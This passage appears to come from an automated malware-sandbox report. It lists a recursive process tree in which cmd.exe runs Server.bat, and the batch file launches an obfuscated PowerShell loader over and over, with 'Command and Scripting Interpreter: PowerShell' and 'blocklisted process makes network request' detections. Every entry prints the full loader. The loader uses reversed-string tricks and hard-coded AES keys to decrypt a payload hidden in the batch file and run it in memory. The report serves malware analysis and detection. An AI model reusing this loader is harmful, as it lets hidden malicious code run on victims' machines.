        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        82⤵
        
        PID:1592
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        80⤵
        
        PID:2652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        81⤵
        
        PID:3348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        79⤵
        
        PID:1224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        80⤵
        
        PID:1416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        78⤵
        
        PID:4768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        79⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        77⤵
        
        PID:1052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        78⤵
        
        PID:2716
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        76⤵
        
        PID:4440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        77⤵
        
        PID:2712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        75⤵
        
        PID:4408
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        76⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:396
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        74⤵
        
        PID:1576
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        75⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5040
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        73⤵
        
        PID:4848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        74⤵
        
        PID:1400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        72⤵
        
        PID:5060
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        73⤵
        
        PID:1744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        71⤵
        
        PID:4856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        72⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3000
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        70⤵
        
        PID:2268
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FlQMat0MWKp9p4UULL++wi+e0BJHd+7kmep9YgwUMpw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('D8vzUdbK0uDuvMgXeJhQog=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $BQyPQ=New-Object System.IO.MemoryStream(,$param_var); $mlacX=New-Object System.IO.MemoryStream; $MruNj=New-Object System.IO.Compression.GZipStream($BQyPQ, [IO.Compression.CompressionMode]::Decompress); $MruNj.CopyTo($mlacX); $MruNj.Dispose(); $BQyPQ.Dispose(); $mlacX.Dispose(); $mlacX.ToArray();}function execute_function($param_var,$param2_var){ $dayBD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uVeDZ=$dayBD.EntryPoint; $uVeDZ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Server.bat';$YxGQE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Server.bat').Split([Environment]::NewLine);foreach ($ZxnzT in $YxGQE) { if ($ZxnzT.StartsWith(':: ')) { $VoPBS=$ZxnzT.Substring(3); break; }}$payloads_var=[string[]]$VoPBS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        71⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        
        PID:3660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Server.bat" "
        69⤵
        
        PID:3632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
